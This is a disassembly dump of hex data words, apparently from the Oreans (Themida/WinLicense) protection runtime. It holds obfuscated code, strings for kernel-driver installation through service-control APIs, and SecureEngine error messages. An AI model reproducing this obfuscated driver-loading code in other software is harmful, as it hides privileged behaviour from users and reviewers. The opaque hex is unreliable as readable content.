		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 2FB1858Dh, 89500603h, 89502404h
		dd 6A2434h, 18A195FFh, 0C3610603h, 1BA185C6h, 684D0603h
		dd 5B597F6Bh, 3D240481h, 0FF48DBF7h, 33121B5h, 0E0858D06h
		dd 0FF060338h, 0A18589D0h, 0E8060318h, 0Ah, 28BB5A5h, 0ED53F94Bh
		dd 8B662D7Eh, 0BF0F5AC2h, 9CC281CFh, 0E8000072h, 0Ah, 268F0344h
		dd 0A2EAE259h, 858BCF36h, 60318D9h, 59B9BB58h, 0F38139B9h
		dd 39B94539h, 0B70F3A8Bh, 6AF781C7h, 6602C872h,	0EF81C78Bh
		dd 0E5CBB8Ch, 2D1BE66h,	5F02EF81h, 8B666949h, 0BD8957C8h
		dd 6032025h, 0B70F028Fh, 1EA83C9h, 4A4A4AF8h, 1EB83FCh
		dd 13850Fh, 8B660000h, 22E9C8h,	9F6F0000h, 0D55AC6DCh
		dd 0B5B6AB06h, 0C58D895Eh, 0E9060317h, 0FFFFFFA4h, 8513B8B8h
		dd 0C0CFBE66h, 8B66B8B5h, 5C5C1EEBh, 49535C2Eh,	5C004543h
		dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h
		dd 8D33C08Bh, 60302DDh,	4E5BD83h, 75000603h, 39BD8309h
		dd 60323h, 53501974h, 0FB8C08Bh, 89000004h, 31A9D85h, 0BF9D8D06h
		dd 0FF0605B5h, 83585BD3h, 32339BDh, 17740006h, 0FB85350h
		dd 89000004h, 31A9D85h,	0AE9D8D06h, 0FF0605B2h,	60585BD3h
		dd 28F0Fh, 0FBB40000h, 219DBD03h, 89610603h, 332C59Dh
		dd 0BFC08B06h, 732839BFh, 1BA185C6h, 6A430603h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 99C2C357h, 0B5C6E15Fh, 0C88B666Eh, 4E8h, 8E6EFC00h
		dd 73BF56BCh, 5E5C5093h, 0F88B6650h, 424448Bh, 0B086E4BFh
		dd 0B1008B0Eh, 24448937h, 0B1525004h, 0F310F16h, 282h
		dd 5AF38B00h, 0BF0F5858h, 0E1B5FFC9h, 0E8060302h, 10h
		dd 7B2651B7h, 0C2C98D43h, 0F0B42146h, 638E50F5h, 2A71B589h
		dd 8D5A0603h, 338E085h,	0E0806006h, 28B0F8Fh, 8A000000h
		dd 0BF0F61E6h, 6AD0FFF6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 4D7DC351h, 60FE183Bh
		dd 0C4ABBCB7h, 0DE8h, 4DAB9300h, 7CDBDEA9h, 6BB37C07h
		dd 66604604h, 63EFDE81h, 479BD881h, 5E616E6Eh, 12E99D09h
		dd 0B2500603h, 24048929h, 958D89h, 6A0603h, 0F281F38Bh
		dd 0B0F2FA5h, 0B9034568h, 81D18BB5h, 0FD3B2404h, 85894A46h
		dd 603094Dh, 401BD8Bh, 36A0603h, 0E398589h, 6A0603h, 6AF88B66h
		dd 0D7B70F03h, 4E8h, 0
		dd 50FB8BC0h, 448B55B2h, 9E90424h, 7000000h, 0B157CEB4h
		dd 0F3EA3DE3h, 4489008Bh, 810F0424h, 4,	8449BE66h, 8DCF8B58h
		dd 5A8999Dh, 0CE906h, 0E64C0000h, 4B74AA05h, 1321DFBBh
		dd 8A934EFCh, 850F50D3h, 13h, 0EE9h, 0FAEB4300h, 2D3D8CBBh
		dd 6E854B6Eh, 93BA3DB3h, 15D9BD29h, 0F7810603h,	46C55551h
		dd 0BD89D0FFh, 60322DDh, 44850F40h, 66000003h, 8058F88Bh
		dd 41B9A2E2h, 502CBD4Ah, 8B605250h, 5A76BADAh, 0F616EABh
		dd 0D68B6631h, 489585Ah, 0F5E28124h, 6A6A90AFh,	14E800h
		dd 0AAA30000h, 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 75EB8474h
		dd 0E2817588h, 3E1A851Eh, 4E859h, 800000h, 9E80000h, 0EA000000h
		dd 4BA77F94h, 964B61ACh, 505FCB8Bh, 0E8E0Fh, 9E90000h
		dd 21000000h, 79785F1Ah, 0D1CBABC1h, 424448Bh, 5E8h, 8BD20200h
		dd 0B8608911h, 58C921FCh, 8B5F61h, 81C6A5B9h, 24448924h
		dd 58F78B04h, 20599D89h, 0E9810603h, 577A70D4h,	0B589036Ah
		dd 6030065h, 0BE9006Ah,	9E000000h, 537C643h, 94BBA261h
		dd 36A8C6Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	5C35242h, 914ECD68h, 0EE8AAh, 0D2550000h, 703542F4h
		dd 0D0B85F5Ah, 5B5132FAh, 8B0Fh, 815E0000h, 0B1332404h
		dd 0BF0F156Eh, 0A29D8DD7h, 500605A8h, 22C98166h, 0F935ED7h
		dd 198Ch, 50525000h, 5A310F52h,	0E9310F58h, 8, 0E763490Fh
		dd 0F9417674h, 5150585Ah, 28D0Fh, 61600000h, 6A935Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7E3D0FC3h, 5BD8BFDh,	23060300h, 31375BDh, 40D0FF06h
		dd 1CD850Fh, 0BA660000h, 8958071Dh, 31A1995h, 0B5BD3106h
		dd 90060319h, 0AE8h, 458F7800h,	92C40451h, 5E12F3E6h, 0FA8B6650h
		dd 9E96090h, 0D6000000h, 0F1100FB4h, 22A6C8AFh,	1769BD89h
		dd 6A610603h, 28A0F00h,	0B5000000h, 4E85Bh, 800000h, 8FBA0000h
		dd 5072E9F1h, 0BE8h, 0A0B8CF00h, 1DE3D1C8h, 3515DD7Eh
		dd 24448B5Fh, 8BF88B04h, 0CE8B6600h, 4244489h, 6A58F38Bh
		dd 0C9B70F03h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0A52955C3h, 3D5D921h, 36A416Eh
		dd 0DE9h, 3EDB5000h, 5BA8461Bh,	0F2A69861h, 0AF68C4BBh
		dd 81B4263Fh, 3FAF2434h, 6A7426h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 12B395C3h, 572A5FFCh
		dd 11E8h, 0FCBE1500h, 0C50234Bh, 18A97FF6h, 0DDF9AD2Ch
		dd 8D89CEF6h, 6031BD9h,	0AD9D8D5Eh, 6A0605A8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 728DC351h, 9469FAA1h, 66356A34h, 3471DF81h, 0F525050h
		dd 682h, 810F00h, 0F000000h, 5AC88A31h,	241C8958h, 5402D681h
		dd 0D0FF1447h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	7CC35040h, 7ACD17Bh, 894BDDACh,	32C99BDh, 8D952906h
		dd 40060330h, 45850Fh, 8D8B0000h, 6031629h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 1EBA4C5Bh, 51CA17B9h, 17FE9h, 0CE800h, 665B0000h, 0BFFE91A4h
		dd 7768E386h, 0BA6620CCh, 8B59D599h, 0D18B66D8h, 958B4BF8h
		dd 6030775h, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0A185C6B9h, 4306031Bh, 4E18D8Bh
		dd 4E80603h, 0A7000000h, 0E9C0764Ah, 7,	0BA28011Eh, 508ECB42h
		dd 28F0Fh, 0CE8B0000h, 424448Bh, 3A4BA6BEh, 0BE008B59h
		dd 55426205h, 4244489h,	0AE8h, 0E915F900h, 9C6D30AFh, 51874EE5h
		dd 11E8h, 0F25F1400h, 0B239C21Ah, 0DF3F6BDCh, 0F4CED3C5h
		dd 5E5FEA5Eh, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 6DD56BC3h, 0BC1E472Fh, 81665640h
		dd 81537FE7h, 5BC4A0DEh, 0E1B5FF41h, 66060302h,	8D56DDBEh
		dd 338E085h, 1DB58B06h,	0FF060319h, 72D181D0h, 50180558h
		dd 13E8h, 0BD115700h, 97264592h, 0DCD765FEh, 0F27F799Eh
		dd 97FFED7Ah, 241C895Ah, 25AD9589h, 0D0FF0603h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 41C35646h, 166342E2h
		dd 2E32B993h, 0E39D8D8Ah, 8B060371h, 31BD995h, 1D958B06h
		dd 0B806030Ch, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	33C35040h, 1A5D9509h, 0E3FF0603h, 9FD4B966h, 0E953C18Bh
		dd 0Dh,	7A083D09h, 5EC9114Bh, 0E3136E25h, 0C08B5967h, 850FC88Bh
		dd 6, 0A587D981h, 0BD833E1Ah, 60304E5h,	83097500h, 32339BDh
		dd 19740006h, 0C08B5350h, 40FB8h, 39858900h, 8D060307h
		dd 5B6269Dh, 5BD3FF06h,	39BD8358h, 60323h, 53501774h, 40FB8h
		dd 39858900h, 8D060307h, 5B2C79Dh, 5BD3FF06h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E8D0168Eh, 0CEA99DADh, 0B9BF13F2h, 6A775943h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0AA70C355h, 25A5B58Bh, 0C08B0603h, 0AAE9h, 666F5300h
		dd 72617774h, 69575C65h, 63694C6Eh, 65736E65h, 65684300h
		dd 4E496B63h, 72705800h, 7845746Fh, 43007469h, 6B636568h
		dd 54554Fh, 4C6E6957h, 6E656369h, 65566573h, 6F697372h
		dd 6957006Eh, 63694C6Eh, 65736E65h, 76697244h, 65567265h
		dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h
		dd 65636E61h, 69784500h, 6B4F74h, 636F7250h, 50004E49h
		dd 4F636F72h, 45005455h, 49746978h, 7845004Eh, 554F7469h
		dd 70540054h, 4E49h, 2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B0E28589h
		dd 858D0605h, 605B0DEh,	48858D50h, 500605B0h, 168h, 0EE95FF80h
		dd 6A0605B0h, 0E2B5FF19h, 6A0605B0h, 8D006A01h,	5B07785h
		dd 0B5FF5006h, 605B0DEh, 0A8D95FFh, 0B5FF0603h,	605B0DEh
		dd 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh, 89C30603h
		dd 5B0E285h, 0DE858D06h, 500605B0h, 0B048858Dh,	68500605h
		dd 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh,	6A500605h
		dd 8D006A04h, 5B0A185h,	0B5FF5006h, 605B0DEh, 0A8D95FFh
		dd 0B5FF0603h, 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh
		dd 2F595FFh, 89C30603h,	5B0E285h, 0DE858D06h, 500605B0h
		dd 0B048858Dh, 68500605h, 80000001h, 0B0EE95FFh, 46A0605h
		dd 0B0E2858Dh, 6A500605h, 8D006A04h, 5B08985h, 0B5FF5006h
		dd 605B0DEh, 0A8D95FFh,	0B5FF0603h, 605B0DEh, 0B0EA95FFh
		dd 0B5FF0605h, 605B0DEh, 2F595FFh, 89C30603h, 5B0E285h
		dd 0DE858D06h, 500605B0h, 0B048858Dh, 68500605h, 80000001h
		dd 0B0EE95FFh, 46A0605h, 0B0E2858Dh, 6A500605h,	8D006A04h
		dd 5B0B485h, 0B5FF5006h, 605B0DEh, 0A8D95FFh, 0B5FF0603h
		dd 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh
		dd 89C30603h, 5B0E285h,	0DE858D06h, 500605B0h, 0B048858Dh
		dd 68500605h, 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh
		dd 6A500605h, 8D006A04h, 5B06485h, 0B5FF5006h, 605B0DEh
		dd 0A8D95FFh, 0B5FF0603h, 605B0DEh, 0B0EA95FFh,	0B5FF0605h
		dd 605B0DEh, 2F595FFh, 83C30603h, 32991BDh, 840F0006h
		dd 0Bh,	29919D8Bh, 0C3830603h, 0C303894Ch, 2991BD83h, 0F000603h
		dd 0B84h, 919D8B00h, 83060329h,	38950C3h, 91BD83C3h, 60329h
		dd 0B840Fh, 9D8B0000h, 6032991h, 8954C383h, 0BD83C303h
		dd 6032991h, 0B840F00h,	8B000000h, 329919Dh, 58C38306h
		dd 83C30389h, 32991BDh,	840F0006h, 0Bh,	29919D8Bh, 0C3830603h
		dd 0C303895Ch, 858960C3h, 605B0E2h, 0B0DE858Dh,	8D500605h
		dd 5B04885h, 1685006h, 0FF800000h, 5B0EE95h, 8D046A06h
		dd 5B0E285h, 46A5006h, 858D006Ah, 605B0D9h, 0DEB5FF50h
		dd 0FF0605B0h, 30A8D95h, 0E5BD8306h, 60304h, 0C840Fh, 0B5FF0000h
		dd 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh
		dd 0C3610603h, 0E2858960h, 8D0605B0h, 5B0DE85h,	858D5006h
		dd 605B048h, 16850h, 95FF8000h,	605B0EEh, 858D046Ah, 605B0E2h
		dd 6A046A50h, 0BB858D00h, 500605B0h, 0B0DEB5FFh, 95FF0605h
		dd 6030A8Dh, 4E5BD83h, 0F000603h, 0C84h, 0DEB5FF00h, 0FF0605B0h
		dd 5B0EA95h, 0DEB5FF06h, 0FF0605B0h, 302F595h, 60C36106h
		dd 0B0E28589h, 858D0605h, 605B0DEh, 48858D50h, 500605B0h
		dd 168h, 0EE95FF80h, 6A0605B0h,	0E2858D04h, 500605B0h
		dd 6A046Ah, 0B0C2858Dh,	0FF500605h, 5B0DEB5h, 8D95FF06h
		dd 8306030Ah, 304E5BDh,	840F0006h, 0Ch,	0B0DEB5FFh, 95FF0605h
		dd 605B0EAh, 0B0DEB5FFh, 95FF0605h, 60302F5h, 8960C361h
		dd 5B0E285h, 0DE858D06h, 500605B0h, 0B048858Dh,	68500605h
		dd 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh,	6A500605h
		dd 8D006A04h, 5B0CA85h,	0B5FF5006h, 605B0DEh, 0A8D95FFh
		dd 0BD830603h, 60304E5h, 0C840F00h, 0FF000000h,	5B0DEB5h
		dd 0EA95FF06h, 0FF0605B0h, 5B0DEB5h, 0F595FF06h, 61060302h
		dd 858960C3h, 605B0E2h,	0B0DE858Dh, 8D500605h, 5B04885h
		dd 1685006h, 0FF800000h, 5B0EE95h, 8D046A06h, 5B0E285h
		dd 46A5006h, 858D006Ah,	605B0D1h, 0DEB5FF50h, 0FF0605B0h
		dd 30A8D95h, 0E5BD8306h, 60304h, 0C840Fh, 0B5FF0000h, 605B0DEh
		dd 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh, 0C3610603h
		dd 0E285C760h, 10605B0h, 8D000000h, 5B0DE85h, 858D5006h
		dd 605B048h, 26850h, 95FF8000h,	605B0EEh, 840FC00Bh, 0Fh
		dd 0B0E285C7h, 605h, 4DE90000h,	6A000000h, 0E2858D04h
		dd 500605B0h, 6A046Ah, 0B05C858Dh, 0FF500605h, 5B0DEB5h
		dd 8D95FF06h, 0B06030Ah, 0F840FC0h, 0C7000000h,	5B0E285h
		dd 6, 0AE900h, 85C70000h, 605B0E2h, 1, 0B0DEB5FFh, 95FF0605h
		dd 60302F5h, 0E2858B61h, 0C30605B0h, 0E2858960h, 8D0605B0h
		dd 5B0DE85h, 858D5006h,	605B048h, 16850h, 95FF8000h, 605B0EEh
		dd 858D046Ah, 605B0E2h,	6A046A50h, 5C858D00h, 500605B0h
		dd 0B0DEB5FFh, 95FF0605h, 6030A8Dh, 4E5BD83h, 0F000603h
		dd 0C84h, 0DEB5FF00h, 0FF0605B0h, 5B0EA95h, 0DEB5FF06h
		dd 0FF0605B0h, 302F595h, 60C36106h, 0B0E28589h,	858D0605h
		dd 605B0DEh, 48858D50h,	500605B0h, 168h, 0EE95FF80h, 6A0605B0h
		dd 0E2858D04h, 500605B0h, 6A046Ah, 0B06E858Dh, 0FF500605h
		dd 5B0DEB5h, 8D95FF06h,	8306030Ah, 304E5BDh, 840F0006h
		dd 0Ch,	0B0DEB5FFh, 95FF0605h, 605B0EAh, 0B0DEB5FFh, 95FF0605h
		dd 60302F5h, 85C6C361h,	6031BA1h, 7B076852h, 0B5FFADE4h
		dd 6031F9Dh, 204595FFh,	85890603h, 605B0EEh, 1BA185C6h
		dd 68520603h, 902E00E5h, 1F9DB5FFh, 95FF0603h, 6032045h
		dd 0B0EA8589h, 85C60605h, 6031BA1h, 12356852h, 0B5FFB9BFh
		dd 6031F9Dh, 204595FFh,	85890603h, 6030A8Dh, 1BA185C6h
		dd 68520603h, 98781034h, 1F9DB5FFh, 95FF0603h, 6032045h
		dd 2F58589h, 85C60603h,	6031BA1h, 0DBD46852h, 0B5FFC005h
		dd 6031F9Dh, 204595FFh,	85890603h, 6030EB5h, 0DE8h, 5FBF0D00h
		dd 90E8BD77h, 0FF20C723h, 0BF0FAE60h, 4CB85EC2h, 8102623Dh
		dd 7596C6h, 3DBA6600h, 1D3AB9D5h, 0EE800000h, 0F36FF0Dh
		dd 1786h, 0DE800h, 70E00000h, 707DFE5Fh, 347CFA92h, 66E77692h
		dd 5892B6BAh, 0D68B665Bh, 0F847C381h, 48BF1A29h, 8142300Eh
		dd 0CAD57BC3h, 0F2EB8175h, 80329E38h, 1E891BE0h, 0C1816660h
		dd 8166119Dh, 61A75BF7h, 0F02EE83h, 4E4EC0BFh, 49C0B70Fh
		dd 1E850Fh, 0F570000h, 0E95FD0B7h, 23h,	5A8405C0h, 7931ACBBh
		dd 33C9DC18h, 0CFFE2130h, 54957B00h, 7EE9A9B0h,	3CFFFFFFh
		dd 8AC8F384h, 0E9331175h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 5FBD8300h, 605B8h, 0A840Fh, 85C70000h, 6032339h, 1
		dd 1BA185C6h, 68470603h, 8F7CD7C9h, 44243481h, 0FF1F11BBh
		dd 302E1B5h, 0E0858D06h, 0FF060338h, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B7DFB58Dh, 25E80605h
		dd 3000002h, 5B874BDh, 74BD8306h, 605B8h, 0B840Fh, 85C70000h
		dd 60304E5h, 1,	0EAB58DC3h, 0E80605B7h,	1FCh, 0B874BD03h
		dd 0BD830605h, 605B874h, 0B840F00h, 0C7000000h,	3233985h
		dd 106h, 0B58DC300h, 605B863h, 1D3E8h, 74BD0300h, 830605B8h
		dd 5B874BDh, 840F0006h,	0Bh, 0B4185C7h,	10603h,	8DC30000h
		dd 5B7F4B5h, 1AAE806h, 0BD030000h, 605B874h, 0B874BD83h
		dd 0F000605h, 0B84h, 3985C700h,	1060323h, 0C3000000h, 0B7FEB58Dh
		dd 81E80605h, 3000001h,	5B874BDh, 74BD8306h, 605B8h, 15840Fh
		dd 85C70000h, 6032339h,	1, 4E585C7h, 10603h, 8DC30000h
		dd 5B80CB5h, 14EE806h, 0BD030000h, 605B874h, 0B874BD83h
		dd 0F000605h, 0A84h, 0B985C700h, 106031Ch, 8D000000h, 5B816B5h
		dd 126E806h, 0BD030000h, 605B874h, 0B874BD83h, 0F000605h
		dd 0A84h, 0B985C700h, 106031Ch,	8D000000h, 5B821B5h, 0FEE806h
		dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h,	0A84h
		dd 0F585C700h, 1060318h, 8D000000h, 5B827B5h, 0D6E806h
		dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h,	0A84h
		dd 0E985C700h, 106032Eh, 8D000000h, 5B82DB5h, 0AEE806h
		dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h,	0A84h
		dd 5D85C700h, 1060307h,	8D000000h, 5B83BB5h, 86E806h, 0BD030000h
		dd 605B874h, 0B874BD83h, 0F000605h, 0A84h, 0DD85C700h
		dd 1060320h, 8D000000h,	5B848B5h, 5EE806h, 0BD030000h
		dd 605B874h, 0B874BD83h, 0F000605h, 0A84h, 1985C700h, 106031Bh
		dd 8D000000h, 5B853B5h,	36E806h, 0BD030000h, 605B874h
		dd 0B874BD83h, 0F000605h, 0A84h, 0AD85C700h, 1060307h
		dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h,	0ED850F00h
		dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 19E9h, 3F8000h, 2850Fh
		dd 0C92B0000h, 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h
		dd 8840F00h, 0B000000h,	0D6850FC9h, 0BFFFFFFh, 21840FC9h
		dd 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h
		dd 0B9000000h, 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 605B874h, 0AE9h,	7485C700h
		dd 605B8h, 61000000h, 0E9C88BC3h, 20Eh,	6E614333h, 20746F6Eh
		dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah
		dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h
		dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h
		dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h
		dd 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 31BA185h, 86684706h,	0FFE3E45Bh
		dd 302E1B5h, 0E0858D06h, 0FF060338h, 10468D0h, 9D8D0000h
		dd 6032AF1h, 50D0FF53h,	0BDE7B58Dh, 0FE8B0605h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1BA185C6h
		dd 68430603h, 0BC8E6EFCh, 2E1B5FFh, 858D0603h, 60338E0h
		dd 0B58DD0FFh, 6032AF1h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 31BA185h, 56685706h
		dd 0FFA69BEEh, 302E1B5h, 0E0858D06h, 0FF060338h, 0E5BD8DD0h
		dd 8D06032Ch, 5BF0D8Dh,	57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0EFB58D00h, 8D0605BBh, 5A75885h, 8DD0FF06h
		dd 371E38Dh, 0B806h, 0E1FF0000h, 1BA185C6h, 68430603h
		dd 0C0764AA7h, 2E1B5FFh, 858D0603h, 60338E0h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0A9E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
